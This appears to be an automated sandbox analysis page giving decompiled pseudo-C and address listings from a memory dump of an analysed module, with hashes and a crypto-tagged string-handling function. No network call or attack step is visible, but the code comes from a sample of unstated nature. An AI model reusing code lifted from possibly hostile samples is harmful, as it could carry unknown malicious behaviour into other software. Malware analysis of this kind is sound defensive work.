							E6EBA22A0(_t478 * 0x3e8, _t837);
						} else {
							E6EBA22A0(0x3e8, _t833);
						}
						goto L11;
					}
					E6EBC3820(_t878 + 0x22c,  &_v192, _t878 + 0x1e4);
					_t833 = _t878 + 0x204;
					_push(_t878 + 0x204);
					E6EBB9520( &_v216);
					E6EBB9510(_t878 + 0x204);
					__eflags =  *(_t878 + 0x224);
					if( *(_t878 + 0x224) != 0) {
						goto L5;
					}
					_t833 =  *(_t878 + 0x258);
					__eflags = _t833 - 0xc8;
					if(_t833 != 0xc8) {
						__eflags = _t833 - 0x194;
						if(_t833 != 0x194) {
							goto L5;
						}
					}
					_t838 = _a4 & 0x000000ff;
					__eflags = _a4 & 0x000000ff;
					if((_a4 & 0x000000ff) != 0) {
						_push(0);
						E6EBB9350( &_v276);
						 *((intOrPtr*)(_t878 + 0x1cc)) = E6EBA0B60(E6EBB9A90( &_v216, _t867));
						__eflags = E6EBBA190( &_v216) -  *((intOrPtr*)(_t878 + 0x1cc));
						if(__eflags == 0) {
							E6EB9ABE0(_t878 + 0x13c, 2);
							E6EBB1EB0(_t878 + 0x144, __eflags, _t878 + 0x144, 0x3b);
							E6EBB0B10( &_v408);
							_push(E6EBB9650(_t878 + 0x1f4));
							E6EBB9350( &_v472);
							 *((intOrPtr*)(_t878 + 0x188)) = _v404;
							_v484 = E6EBB6040(_v404, 0x7fffffff);
							 *((intOrPtr*)(_t878 + 0x190)) = E6EBB9640(_t878 + 0x1f8, 0);
							 *((intOrPtr*)(_t878 + 0x18c)) = E6EBB9650(_t878 + 0x1f4);
							_t497 = E6EBB9640( &_v480, 0);
							_push(0);
							_push(0);
							_push(_t497);
							_push(_v340);
							_push( *((intOrPtr*)(_t878 + 0x1a0)));
							E6EBBE5D0(_v344,  *((intOrPtr*)(_t878 + 0x108)), _t867);
							_push(_t878 + 0xfc);
							E6EBB9520( &_v320);
							E6EBB9510( &_v508);
							__eflags = _a8 & 0x000000ff;
							if((_a8 & 0x000000ff) != 0) {
								E6EBB9850(_t878 + 0x1bc,  &_v684, 0x80);
								E6EBB9510( &_v692);
							}
							E6EBB0B10( &_v420);
						}
						_t833 = _t878 + 0x1b4;
						_push(_t878 + 0x1b4);
						E6EBB9520( *((intOrPtr*)(_t878 + 0x1c4)));
						E6EBB9510( &_v312);
						_t506 = E6EBB9660( *((intOrPtr*)(_t878 + 0x1c4)));
						__eflags = _t506;
						if(_t506 != 0) {
							goto L5;
						}
					}
					E6EBC3260(_t878 + 0x224, _t838, _t867);
					E6EBB9510(_t878 + 0x1f4);
					E6EBB9510(_t878 + 0x1e4);
					 *0x6ebcb000 = _t867;
					return _v260;
				}
				L99:
			}

0x6eb96ad1
0x6eb96ad6
0x6eb96ad7
0x6eb96ad8
0x6eb96ad9
0x6eb96adf
0x6eb96ae8
0x6eb96aec
0x6eb96afd
0x6eb96b05
0x6eb96b07
0x6eb96b0c
0x6eb96b12
0x6eb97967
0x6eb97969
0x6eb9796e
0x6eb97972
0x6eb97975
0x6eb9797a
0x6eb9798b
0x6eb9797c
0x6eb9797c
0x6eb97980
0x6eb97983
0x6eb97986
0x6eb97986
0x6eb97993
0x6eb9799e
0x6eb979a4
0x6eb979ad
0x6eb979b0
0x6eb979b0
0x6eb979c0
0x6eb979c2
0x6eb979c8
0x6eb979d1
0x6eb979d5
0x6eb979d7
0x6eb979d7
0x6eb979e2
0x6eb979f4
0x6eb979fb
0x6eb97a0b
0x6eb97a10
0x6eb97a16
0x6eb97a23
0x6eb97a2a
0x6eb97a2f
0x6eb97a37
0x6eb97a37
0x6eb97a3b
0x6eb97a40
0x6eb97a44
0x6eb97a44
0x6eb979c2
0x6eb96b23
0x6eb96b32
0x6eb96b40
0x6eb96b53
0x6eb96b56
0x6eb96b5c
0x6eb96b61
0x6eb96b67
0x6eb96b69
0x6eb96b6b
0x6eb96b70
0x6eb96b79
0x6eb96b87
0x6eb96b9a
0x6eb96ba6
0x6eb96bbc
0x6eb96bd4
0x6eb96be5
0x6eb96bfa
0x6eb96c06
0x6eb96c0b
0x6eb96c14
0x6eb96c1c
0x6eb96c30
0x6eb96c43
0x6eb96c4f
0x6eb96c5b
0x6eb96c67
0x6eb96c78
0x6eb96c8d
0x6eb96c9d
0x6eb96cb6
0x6eb96cc2
0x6eb96cda
0x6eb96cea
0x6eb96cf6
0x6eb96cfe
0x6eb96d05
0x6eb96d11
0x6eb96d16
0x6eb96d1d
0x6eb97241
0x6eb9724f
0x6eb9726f
0x6eb9727d
0x6eb972a6
0x6eb972ab
0x6eb972b2
0x6eb972b7
0x6eb972bb
0x6eb972c3
0x6eb972c5
0x6eb972ca
0x6eb972ce
0x6eb972ce
0x6eb972d0
0x6eb972d8
0x6eb972e5
0x6eb972ec
0x6eb972fa
0x6eb972ff
0x6eb97300
0x6eb97302
0x6eb97302
0x6eb97307
0x6eb97307
0x6eb97309
0x6eb9730d
0x6eb97311
0x6eb97315
0x6eb97319
0x6eb9731d
0x6eb9731d
0x6eb97330
0x6eb97341
0x6eb9734f
0x6eb9735d
0x6eb97362
0x6eb9736a
0x6eb9736c
0x6eb97370
0x6eb97370
0x6eb97372
0x6eb9737f
0x6eb97383
0x6eb97388
0x6eb9738a
0x6eb9739a
0x6eb9739c
0x6eb9777d
0x6eb97781
0x6eb97789
0x6eb9778e
0x6eb9779c
0x6eb977ae
0x6eb977b5
0x6eb977c3
0x6eb977d3
0x6eb977dc
0x6eb977e5
0x6eb977f1
0x6eb977f6
0x6eb977f8
0x6eb97811
0x6eb97815
0x6eb9781a
0x6eb9781f
0x6eb97821
0x6eb97825
0x6eb97827
0x6eb97832
0x6eb97832
0x6eb97829
0x6eb97829
0x6eb9782c
0x00000000
0x6eb9782e
0x6eb9782e
0x6eb9782e
0x6eb9782c
0x6eb97837
0x6eb97839
0x6eb9783c
0x6eb9783c
0x6eb97839
0x6eb97841
0x00000000
0x6eb977fa
0x6eb97808
0x6eb9780d
0x6eb9780f
0x6eb9784e
0x6eb9785b
0x6eb9786c
0x6eb97873
0x6eb97881
0x6eb97891
0x6eb9789a
0x6eb978a3
0x6eb978af
0x6eb978b4
0x6eb978b6
0x6eb978e3
0x6eb978e3
0x6eb978e8
0x6eb978f3
0x6eb978fe
0x6eb97907
0x6eb9790c
0x6eb97912
0x6eb97917
0x6eb97919
0x6eb97925
0x6eb97925
0x6eb9792e
0x6eb97933
0x6eb97938
0x6eb9793a
0x6eb9793e
0x6eb97940
0x6eb9794b
0x6eb9794b
0x6eb97942
0x6eb97942
0x6eb97945
0x00000000
0x6eb97947
0x6eb97947
0x6eb97947
0x6eb97945
0x6eb97950
0x6eb97952
0x6eb97955
0x6eb97955
0x6eb97952
0x6eb9795a
0x00000000
0x00000000
0x00000000
0x00000000
0x6eb9780f
0x00000000
0x6eb977f8
0x6eb9739c
0x6eb973a2
0x6eb973a2
0x6eb973a3
0x6eb973a3
0x6eb973ac
0x6eb973ac
0x6eb973b0
0x6eb973b4
0x6eb973b8
0x6eb97718
0x6eb97723
0x6eb9772f
0x6eb9773b
0x6eb97744
0x6eb97749
0x6eb9774e
0x6eb97750
0x6eb97754
0x6eb97756
0x6eb97761
0x6eb97761
0x6eb97758
0x6eb97758
0x6eb9775b
0x00000000
0x6eb9775d
0x6eb9775d
0x6eb9775d
0x6eb9775b
0x6eb97766
0x6eb97768
0x6eb9776b
0x6eb9776b
0x6eb97768
0x6eb97770
0x6eb973be
0x6eb973c2
0x6eb973c9
0x6eb973d4
0x6eb973d9
0x6eb973dc
0x6eb973de
0x6eb973ee
0x6eb97401
0x6eb97406
0x6eb97406
0x6eb97417
0x6eb97424
0x6eb97430
0x6eb9743c
0x6eb97445
0x6eb9744a
0x6eb9744f
0x6eb97451
0x6eb97455
0x6eb97457
0x6eb97462
0x6eb97462
0x6eb97459
0x6eb97459
0x6eb9745c
0x00000000
0x6eb9745e
0x6eb9745e
0x6eb9745e
0x6eb9745c
0x6eb97467
0x6eb97469
0x6eb9746c
0x6eb9746c
0x6eb97469
0x00000000
0x6eb9744f
0x6eb97487
0x6eb97490
0x6eb974a3
0x6eb974b8
0x6eb974c4
0x6eb974dd
0x6eb974e4
0x6eb974ee
0x6eb9750b
0x6eb97523
0x6eb97544
0x6eb9754b
0x6eb97557
0x6eb97560
0x6eb9756e
0x6eb9757c
0x6eb9758a
0x6eb9758f
0x6eb97595
0x6eb9759c
0x6eb975a3
0x6eb975aa
0x6eb975bb
0x6eb975c0
0x6eb975c2
0x6eb975ca
0x6eb975ca
0x6eb975cc
0x6eb975cf
0x6eb975d1
0x6eb975d3
0x6eb975d6
0x6eb975e1
0x6eb975fb
0x6eb97607
0x6eb97607
0x6eb97618
0x6eb9761c
0x6eb9761f
0x6eb9761f
0x6eb97642
0x6eb97657
0x6eb9765e
0x6eb9766a
0x6eb97687
0x6eb9769f
0x6eb976c0
0x6eb976c9
0x6eb976d5
0x6eb976e1
0x6eb976ed
0x6eb976f6
0x6eb97702
0x6eb9770e
0x00000000
0x6eb975c4
0x6eb975c4
0x6eb975c5
0x6eb975c5
0x00000000
0x6eb97471
0x6eb97471
0x6eb97472
0x6eb9747a
0x6eb9747a
0x6eb97483
0x00000000
0x6eb96d23
0x6eb96d23
0x6eb96d2f
0x6eb96d45
0x6eb96d51
0x6eb96d62
0x6eb96d6a
0x6eb96d7b
0x6eb96d84
0x6eb96d91
0x6eb96d9f
0x6eb96daf
0x6eb96db8
0x6eb96db9
0x6eb96dba
0x6eb96dbb
0x6eb96dbc
0x6eb96dc1
0x6eb96dc5
0x6eb96dd1
0x6eb96ddf
0x6eb96de1
0x6eb96ded
0x6eb96e05
0x6eb96e13
0x6eb96e2f
0x6eb96e3b
0x6eb96e47
0x6eb96e53
0x6eb96e5f
0x6eb96e64
0x6eb96e6d
0x6eb96e72
0x6eb96e7b
0x6eb96e80
0x6eb96e88
0x6eb97177
0x6eb9717e
0x6eb97180
0x6eb97183
0x6eb97185
0x6eb97194
0x6eb97194
0x6eb97187
0x6eb97189
0x6eb9718c
0x6eb9718f
0x6eb9718f
0x6eb9719d
0x6eb9719f
0x6eb971a6
0x6eb971ac
0x6eb971af
0x6eb971af
0x6eb971bf
0x6eb971c1
0x6eb971c7
0x6eb971c7
0x6eb971c9
0x6eb971d0
0x6eb971d0
0x6eb971db
0x6eb971de
0x6eb971ed
0x6eb971f4
0x6eb97204
0x6eb97209
0x6eb9720f
0x6eb9721c
0x6eb97223
0x6eb97228
0x6eb97230
0x6eb97230
0x6eb97234
0x6eb97234
0x6eb971c1
0x6eb96e93
0x6eb96e96
0x6eb96e9b
0x6eb96e9d
0x6eb96ea0
0x6eb96f30
0x6eb96f30
0x6eb96f32
0x6eb96f33
0x6eb96f35
0x6eb96f35
0x6eb96ead
0x6eb96eb4
0x6eb96ebf
0x6eb96edf
0x6eb96ee1
0x6eb96ee8
0x6eb96eed
0x6eb96eed
0x6eb96eee
0x6eb96efc
0x6eb96efe
0x6eb96f01
0x6eb96f03
0x6eb96f1b
0x6eb96f20
0x6eb96f05
0x6eb96f0a
0x6eb96f0f
0x6eb96f0f
0x6eb96f25
0x6eb96f2b
0x6eb96ef0
0x6eb96ef5
0x6eb96ef5
0x00000000
0x6eb96eee
0x6eb96f53
0x6eb96f58
0x6eb96f5f
0x6eb96f67
0x6eb96f73
0x6eb96f78
0x6eb96f80
0x00000000
0x00000000
0x6eb96f86
0x6eb96f8d
0x6eb96f93
0x6eb96f95
0x6eb96f9b
0x00000000
0x00000000
0x6eb96f9b
0x6eb96fa1
0x6eb96fa5
0x6eb96fa7
0x6eb96fb0
0x6eb96fb2
0x6eb96fca
0x6eb96fdd
0x6eb96fe4
0x6eb97062
0x6eb97078
0x6eb97084
0x6eb9709c
0x6eb9709d
0x6eb970ae
0x6eb970ba
0x6eb970cf
0x6eb970e2
0x6eb970f2
0x6eb970f9
0x6eb970fa
0x6eb970fb
0x6eb970fc
0x6eb97103
0x6eb97118
0x6eb97124
0x6eb9712c
0x6eb97138
0x6eb97141
0x6eb97143
0x6eb97167
0x6eb97170
0x6eb97170
0x6eb9714c
0x6eb9714c
0x6eb96fe6
0x6eb96fed
0x6eb96ff1
0x6eb96ffd
0x6eb97009
0x6eb9700e
0x6eb97010
0x00000000
0x00000000
0x6eb97010
0x6eb9701d
0x6eb97029
0x6eb97035
0x6eb9703a
0x6eb97053
0x6eb97053
0x00000000

Memory Dump Source

Source File: 00000000.00000002.771060361.000000006EB91000.00000020.00020000.sdmp, Offset: 6EB90000, based on PE: true

Associated: 00000000.00000002.771046793.000000006EB90000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.771178348.000000006EBC5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.771214876.000000006EBCB000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.771236786.000000006EBCC000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb1c433916f241803f027d9668d7e043b063bbd613c4b59d854e663309a6c1dc
Instruction ID: 31c6f87e6c76ec490f78a1dbf825419627707046ab9ae81963e56730670e3c6f
Opcode Fuzzy Hash: fb1c433916f241803f027d9668d7e043b063bbd613c4b59d854e663309a6c1dc
Instruction Fuzzy Hash: 12825F305283C19BD725DBA4C9A0BFFBBE9EF95308F504D2DA59A471A0EF709904CB52

Uniqueness

Uniqueness Score: -1.00%

Function 6EBB50A0, Relevance: .8, Instructions: 835
COMMONCrypto

Download Yara Rule

C-Code - Quality: 88%

			E6EBB50A0(signed int* __ecx, signed int* _a4, signed int _a8) {
				signed int _v24;
				intOrPtr _v28;
				signed int _v32;
				char _v36;
				intOrPtr _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				intOrPtr _v60;
				signed int _v64;
				unsigned int _v68;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				signed int _v84;
				signed int _t265;
				intOrPtr* _t266;
				char* _t269;
				unsigned int _t276;
				signed int _t278;
				char* _t279;
				void* _t281;
				signed int _t282;
				intOrPtr* _t283;
				char* _t286;
				unsigned int _t293;
				signed int _t295;
				char* _t296;
				void* _t300;
				signed int _t302;
				unsigned int _t311;
				void* _t315;
				unsigned int _t321;
				signed int _t322;
				signed int _t327;
				signed int _t328;
				char _t332;
				signed int _t333;
				char _t339;
				signed int _t343;
				signed int _t344;
				signed int _t347;
				signed int _t348;
				char _t351;
				char _t354;
				signed int _t355;
				intOrPtr _t358;
				char* _t367;
				signed int _t373;
				signed int _t374;
				char* _t376;
				signed int _t382;
				signed int _t383;
				signed int _t385;
				void* _t386;
				intOrPtr _t387;
				signed int _t392;
				signed int _t393;
				signed int _t394;
				unsigned int _t395;
				signed int _t398;
				signed int _t399;
				char _t400;
				char _t401;
				signed int _t403;
				signed int _t404;
				char _t405;
				char _t406;
				signed int _t407;
				intOrPtr _t413;
				char* _t417;
				char _t418;
				char _t419;
				signed int _t421;
				unsigned int _t427;
				signed int _t429;
				void* _t431;
				char* _t433;
				char _t434;
				char _t435;
				char* _t442;
				char _t445;
				char _t446;
				char _t447;
				signed int _t449;
				signed int _t451;
				signed int _t452;
				char* _t455;
				char _t458;
				char _t459;
				signed int _t460;
				signed int _t464;
				char _t467;
				char _t468;
				char _t469;
				signed int _t471;
				signed int _t473;
				signed int _t474;
				char* _t477;
				char _t480;
				char _t481;
				signed int _t482;
				signed int _t486;
				signed int* _t488;
				char _t493;
				signed int _t496;
				intOrPtr* _t507;
				signed int _t509;
				intOrPtr* _t510;
				unsigned int _t512;
				intOrPtr _t514;
				intOrPtr _t515;
				signed int* _t517;
				void* _t519;
				void* _t521;
				signed int _t523;
				signed int _t525;
				signed int _t526;
				char* _t527;
				char* _t528;
				signed int* _t531;
				unsigned int _t533;
				signed int _t535;
				void* _t537;
				void* _t538;
				void* _t540;
				void* _t542;

				_t537 = (_t535 & 0xfffffff0) - 0x44;
				_t365 = __ecx;
				_t442 = _a8;
				_t517 = _a4;
				if(_t442 == 0 ||  *_t442 == 0) {
					_push(0x10);
					 *_t517 = 1;
					_t265 = E6EBA1030();
					_push(8);
					_t517[1] = _t265;
					_t517[2] = 4;
					_t266 = E6EBA1030();
					_t507 = _t266;
					_t538 = _t537 + 8;
					if(_t507 == 0) {
						_t507 = 0;
					} else {
						_t398 =  *_t365;
						 *_t507 = 0;
						 *(_t507 + 4) = 0;
						if(_t398 == 0 ||  *_t398 == 0) {
							_push(0x40);
							_t367 = E6EBA1030();
							_t538 = _t538 + 4;
							_t269 =  *_t507;
							if(_t269 == 0) {
								 *_t367 = 0;
							} else {
								if(_t367 != 0) {
									_t445 =  *_t269;
									 *_t367 = _t445;
									if(_t445 != 0) {
										_t399 = 0;
										while(1) {
											_t399 = _t399 + 1;
											_t446 =  *((char*)(_t269 + _t399 * 2 - 1));
											 *((char*)(_t367 + _t399 * 2 - 1)) = _t446;
											if(_t446 == 0) {
												break;
											}
											_t447 =  *((char*)(_t269 + _t399 * 2));
											 *((char*)(_t367 + _t399 * 2)) = _t447;
											if(_t447 != 0) {
												continue;
											}
											break;
										}
										_t517 = _a4;
									}
								}
								_push(1);
								_push(_t269);
								E6EBA10B0();
								_t538 = _t538 + 8;
							}
							 *_t507 = _t367;
							 *(_t507 + 4) = 0x40;
						} else {
							_t449 = _t398 & 0x0000000f;
							if(_t449 == 0) {
								L9:
								asm("pxor xmm0, xmm0");
								_t373 =  ~( ~_t449 + 0x0000000f & 0x0000000f) + 0x7fffffff;
								while(1) {
									asm("movdqu xmm1, [ecx+edx]");
									asm("pcmpeqb xmm1, xmm0");
									asm("pmovmskb eax, xmm1");
									if(_t266 != 0) {
										break;
									}
									_t449 = _t449 + 0x10;
									if(_t449 < _t373) {
										continue;
									} else {
										if(_t373 >= 0x7fffffff) {
											L15:
											_t373 = 0x7fffffff;
										} else {
											while( *((char*)(_t373 + _t398)) != 0) {
												_t373 = _t373 + 1;
												if(_t373 < 0x7fffffff) {
													continue;
												} else {
													goto L15;
												}
												goto L16;
											}
										}
									}
									goto L16;
								}
								asm("bsf ebx, eax");
								_t373 = _t373 + _t449;
							} else {
								_t373 = 0;
								_t449 =  ~_t449 + 0x10;
								while( *((char*)(_t373 + _t398)) != 0) {
									_t373 = _t373 + 1;
									if(_t373 < _t449) {
										continue;
									} else {
										goto L9;
									}
									goto L16;
								}
							}
							L16:
							_t8 = _t373 + 1; // 0x80000000
							_t451 =  <=  ? 0x40 : _t8;
							if(_t451 > 0) {
								_t276 = (_t451 >> 5 >> 0x1a) + _t451 >> 6;
								_v76 = _t276;
								_t452 = _t451 & 0x8000003f;
								if(_t452 < 0) {
									_t452 = (_t452 - 0x00000001 | 0xffffffc0) + 1;
								}
								_t278 = _t276 + (0 | _t452 > 0x00000000) << 6;
								_v76 = _t278;
								_push(_t278);
								_v80 = _t398;
								_t279 = E6EBA1030();
								_t398 = _v80;
								_t538 = _t538 + 4;
								_t455 =  *_t507;
								_v72 = _t455;
								if(_t455 == 0) {
									 *_t279 = 0;
								} else {
									if(_t279 != 0) {
										_t459 =  *_t455;
										 *_t279 = _t459;
										if(_t459 != 0) {
											_v84 = _t373;
											_t460 = 0;
											_v80 = _t398;
											_t374 = _v72;
											while(1) {
												_t460 = _t460 + 1;
												_t400 =  *((char*)(_t374 + _t460 * 2 - 1));
												 *((char*)(_t279 + _t460 * 2 - 1)) = _t400;
												if(_t400 == 0) {
													break;
												}
												_t401 =  *((char*)(_t374 + _t460 * 2));
												 *((char*)(_t279 + _t460 * 2)) = _t401;
												if(_t401 != 0) {
													continue;
												}
												break;
											}
											_t373 = _v84;
											_t398 = _v80;
											_t517 = _a4;
										}
									}
									_push(1);
									_push(_v72);
									_v84 = _t279;
									_v80 = _t398;
									E6EBA10B0();
									_t398 = _v80;
									_t279 = _v84;
									_t538 = _t538 + 8;
								}
								 *(_t507 + 4) = _v76;
								 *_t507 = _t279;
							} else {
								_t279 = 0;
							}
							if(_t279 != 0) {
								_t519 = 0;
								while(1) {
									_t458 =  *_t398;
									_t519 = _t519 + 1;
									 *_t279 = _t458;
									if(_t373 != 0 && _t519 == _t373) {
										break;
									}
									if(_t458 == 0) {
										_t517 = _a4;
									} else {
										_t279 = _t279 + 1;
										_t398 = _t398 + 1;
										continue;
									}
									goto L48;
								}
								_t517 = _a4;
								 *((char*)(_t279 + 1)) = 0;
							}
						}
					}
					L48:
					 *(_t517[1]) = _t507;
					return _t517;
				} else {
					_t509 =  *__ecx;
					_t281 = E6EBB5A90(_t509, _t442);
					_t464 = _a8;
					if(_t281 == 0) {
						_push(0x10);
						 *_t517 = 1;
						_t282 = E6EBA1030();
						_push(8);
						_t517[1] = _t282;
						_t517[2] = 4;
						_t283 = E6EBA1030();
						_t510 = _t283;
						_t540 = _t537 + 8;
						if(_t510 == 0) {
							_t510 = 0;
						} else {
							_t403 =  *__ecx;
							 *_t510 = 0;
							 *(_t510 + 4) = 0;
							if(_t403 == 0 ||  *_t403 == 0) {
								_push(0x40);
								_t376 = E6EBA1030();
								_t540 = _t540 + 4;
								_t286 =  *_t510;
								if(_t286 == 0) {
									 *_t376 = 0;
								} else {
									if(_t376 != 0) {
										_t467 =  *_t286;
										 *_t376 = _t467;
										if(_t467 != 0) {
											_t404 = 0;
											while(1) {
												_t404 = _t404 + 1;
												_t468 =  *((char*)(_t286 + _t404 * 2 - 1));
												 *((char*)(_t376 + _t404 * 2 - 1)) = _t468;
												if(_t468 == 0) {
													break;
												}
												_t469 =  *((char*)(_t286 + _t404 * 2));
												 *((char*)(_t376 + _t404 * 2)) = _t469;
												if(_t469 != 0) {
													continue;
												}
												break;
											}
											_t517 = _a4;
										}
									}
									_push(1);
									_push(_t286);
									E6EBA10B0();
									_t540 = _t540 + 8;
								}
								 *_t510 = _t376;
								 *(_t510 + 4) = 0x40;
							} else {
								_t471 = _t403 & 0x0000000f;
								if(_t471 == 0) {
									L157:
									asm("pxor xmm0, xmm0");
									_t382 =  ~( ~_t471 + 0x0000000f & 0x0000000f) + 0x7fffffff;
									while(1) {
										asm("movdqu xmm1, [ecx+edx]");
										asm("pcmpeqb xmm1, xmm0");
										asm("pmovmskb eax, xmm1");
										if(_t283 != 0) {
											break;
										}
										_t471 = _t471 + 0x10;
										if(_t471 < _t382) {
											continue;
										} else {
											if(_t382 >= 0x7fffffff) {
												L163:
												_t382 = 0x7fffffff;
											} else {
												while( *((char*)(_t382 + _t403)) != 0) {
													_t382 = _t382 + 1;
													if(_t382 < 0x7fffffff) {
														continue;
													} else {
														goto L163;
													}
													goto L164;
												}
											}
										}
										goto L164;
									}
									asm("bsf ebx, eax");
									_t382 = _t382 + _t471;
								} else {
									_t382 = 0;
									_t471 =  ~_t471 + 0x10;
									while( *((char*)(_t382 + _t403)) != 0) {
										_t382 = _t382 + 1;
										if(_t382 < _t471) {
											continue;
										} else {
											goto L157;
										}
										goto L164;
									}
								}
								L164:
								_t220 = _t382 + 1; // 0x80000000
								_t473 =  <=  ? 0x40 : _t220;
								if(_t473 > 0) {
									_t293 = (_t473 >> 5 >> 0x1a) + _t473 >> 6;
									_v76 = _t293;
									_t474 = _t473 & 0x8000003f;
									if(_t474 < 0) {
										_t474 = (_t474 - 0x00000001 | 0xffffffc0) + 1;
									}
									_t295 = _t293 + (0 | _t474 > 0x00000000) << 6;
									_v76 = _t295;
									_push(_t295);
									_v80 = _t403;
									_t296 = E6EBA1030();
									_t403 = _v80;
									_t540 = _t540 + 4;
									_t477 =  *_t510;
									_v72 = _t477;
									if(_t477 == 0) {
										 *_t296 = 0;
									} else {
										if(_t296 != 0) {
											_t481 =  *_t477;
											 *_t296 = _t481;
											if(_t481 != 0) {
												_v84 = _t382;
												_t482 = 0;
												_v80 = _t403;
												_t383 = _v72;
												while(1) {
													_t482 = _t482 + 1;
													_t405 =  *((char*)(_t383 + _t482 * 2 - 1));
													 *((char*)(_t296 + _t482 * 2 - 1)) = _t405;
													if(_t405 == 0) {
														break;
													}
													_t406 =  *((char*)(_t383 + _t482 * 2));
													 *((char*)(_t296 + _t482 * 2)) = _t406;
													if(_t406 != 0) {
														continue;
													}
													break;
												}
												_t382 = _v84;
												_t403 = _v80;
												_t517 = _a4;
											}
										}
										_push(1);
										_push(_v72);
										_v84 = _t296;
										_v80 = _t403;
										E6EBA10B0();
										_t403 = _v80;
										_t296 = _v84;
										_t540 = _t540 + 8;
									}
									 *(_t510 + 4) = _v76;
									 *_t510 = _t296;
								} else {
									_t296 = 0;
								}
								if(_t296 != 0) {
									_t521 = 0;
									while(1) {
										_t480 =  *_t403;
										_t521 = _t521 + 1;
										 *_t296 = _t480;
										if(_t382 != 0 && _t521 == _t382) {
											break;
										}
										if(_t480 == 0) {
											_t517 = _a4;
										} else {
											_t296 = _t296 + 1;
											_t403 = _t403 + 1;
											continue;
										}
										goto L196;
									}
									_t517 = _a4;
									 *((char*)(_t296 + 1)) = 0;
								}
							}
						}
						L196:
						 *(_t517[1]) = _t510;
						return _t517;
					} else {
						_t407 = 0;
						_v56 = 0;
						_v52 = 0;
						_v48 = 0;
						_t385 = _t464 & 0x0000000f;
						if(_t385 == 0) {
							L54:
							asm("pxor xmm0, xmm0");
							_t413 =  ~( ~_t385 + 0x0000000f & 0x0000000f) + 0x7fffffff;
							while(1) {
								asm("movdqu xmm1, [edx+ebx]");
								asm("pcmpeqb xmm1, xmm0");
								asm("pmovmskb esi, xmm1");
								if(_t517 != 0) {
									break;
								}
								_t385 = _t385 + 0x10;
								if(_t385 < _t413) {
									continue;
								} else {
									if(_t413 >= 0x7fffffff) {
										L60:
										_t413 = 0x7fffffff;
									} else {
										while( *((char*)(_t413 + _t464)) != 0) {
											_t413 = _t413 + 1;
											if(_t413 < 0x7fffffff) {
												continue;
											} else {
												goto L60;
											}
											goto L61;
										}
									}
								}
								goto L61;
							}
							asm("bsf ecx, ecx");
							_t413 = _t517 + _t385;
						} else {
							_t385 =  ~_t385 + 0x10;
							while( *((char*)(_t407 + _t464)) != 0) {
								_t407 = _t407 + 1;
								if(_t407 < _t385) {
									continue;
								} else {
									goto L54;
								}
								goto L61;
							}
							asm("pxor xmm0, xmm0");
						}
						L61:
						_v28 = _t413;
						_t386 = _t281;
						do {
							_t387 = _t386 - _t509;
							if(_t387 == 0 || _t509 == 0 ||  *_t509 == 0) {
								_push(0x40);
								_t523 = E6EBA1030();
								_t537 = _t537 + 4;
								 *_t523 = 0;
							} else {
								_t58 = _t387 + 1; // 0x1
								_t525 =  <=  ? 0x40 : _t58;
								if(_t525 > 0) {
									_t311 = (_t525 >> 5 >> 0x1a) + _t525 >> 6;
									_t526 = _t525 & 0x8000003f;
									if(_t526 < 0) {
										_t526 = (_t526 - 0x00000001 | 0xffffffc0) + 1;
									}
									_push(_t311 + (0 | _t526 > 0x00000000) << 6);
									_t523 = E6EBA1030();
									_t537 = _t537 + 4;
									 *_t523 = 0;
									if(_t509 != 0) {
										_t315 = 0;
										while(1) {
											_t315 = _t315 + 1;
											_t493 =  *((char*)(_t315 + _t509 - 1));
											 *((char*)(_t315 + _t523 - 1)) = _t493;
											if(_t315 == _t387) {
												break;
											}
											if(_t493 != 0) {
												continue;
											} else {
											}
											goto L75;
										}
										 *((char*)(_t315 + _t523)) = 0;
									}
								} else {
									_t523 = 0;
								}
							}
							L75:
							_t486 = _v56;
							_t300 =  >  ? _t486 : 0;
							_t301 =  >=  ? _t486 : _t300;
							_v24 =  >=  ? _t486 : _t300;
							_t302 = _v48;
							if(_t486 == _t302) {
								_v48 = _t302 + 4;
								_push(0x10 + _t302 * 4);
								_v60 = E6EBA1030();
								E6EBA0C10(_v60, _v52, _v56 << 2);
								_push(4);
								_push(_v52);
								E6EBA10B0();
								_t537 = _t537 + 0x18;
								_v52 = _v60;
								_t486 = _v56;
							}
							_t487 = _t486 != _v24;
							if(_t486 != _v24) {
								E6EBA0BC0(_v52 + _v24 * 4 + 4, _v52 + _v24 * 4, _t487 << 2);
								_t537 = _t537 + 0xc;
							}
							_push(8);
							_t488 = E6EBA1030();
							_t542 = _t537 + 4;
							if(_t488 == 0) {
								_t488 = 0;
							} else {
								 *_t488 = 0;
								_t488[1] = 0;
								if(_t523 == 0 ||  *_t523 == 0) {
									_push(0x40);
									_v64 = _t488;
									_t327 = E6EBA1030();
									_t488 = _v64;
									_v76 = _t327;
									_t542 = _t542 + 4;
									_t328 =  *_t488;
									_v80 = _t328;
									if(_t328 == 0) {
										 *_v76 = 0;
									} else {
										if(_v76 != 0) {
											_t417 = _v76;
											_t332 =  *_t328;
											 *_t417 = _t332;
											if(_t332 != 0) {
												_v84 = _t523;
												_t333 = 0;
												_v40 = _t387;
												_v44 = _t509;
												_t393 = _v80;
												_t527 = _t417;
												while(1) {
													_t333 = _t333 + 1;
													_t418 =  *((char*)(_t393 + _t333 * 2 - 1));
													 *((char*)(_t527 + _t333 * 2 - 1)) = _t418;
													if(_t418 == 0) {
														break;
													}
													_t419 =  *((char*)(_t393 + _t333 * 2));
													 *((char*)(_t527 + _t333 * 2)) = _t419;
													if(_t419 != 0) {
														continue;
													}
													break;
												}
												_t523 = _v84;
												_t387 = _v40;
												_t509 = _v44;
											}
										}
										_push(1);
										_push(_v80);
										_v64 = _t488;
										E6EBA10B0();
										_t488 = _v64;
										_t542 = _t542 + 8;
									}
									 *_t488 = _v76;
									_t488[1] = 0x40;
								} else {
									_t421 = _t523 & 0x0000000f;
									if(_t421 == 0) {
										L86:
										asm("pxor xmm1, xmm1");
										_t339 =  ~( ~_t421 + 0x0000000f & 0x0000000f) + 0x7fffffff;
										_v36 = _t339;
										_v44 = _t509;
										_t514 = _t339;
										while(1) {
											asm("movdqu xmm0, [esi+ecx]");
											asm("pcmpeqb xmm0, xmm1");
											asm("pmovmskb eax, xmm0");
											if(_t339 != 0) {
												break;
											}
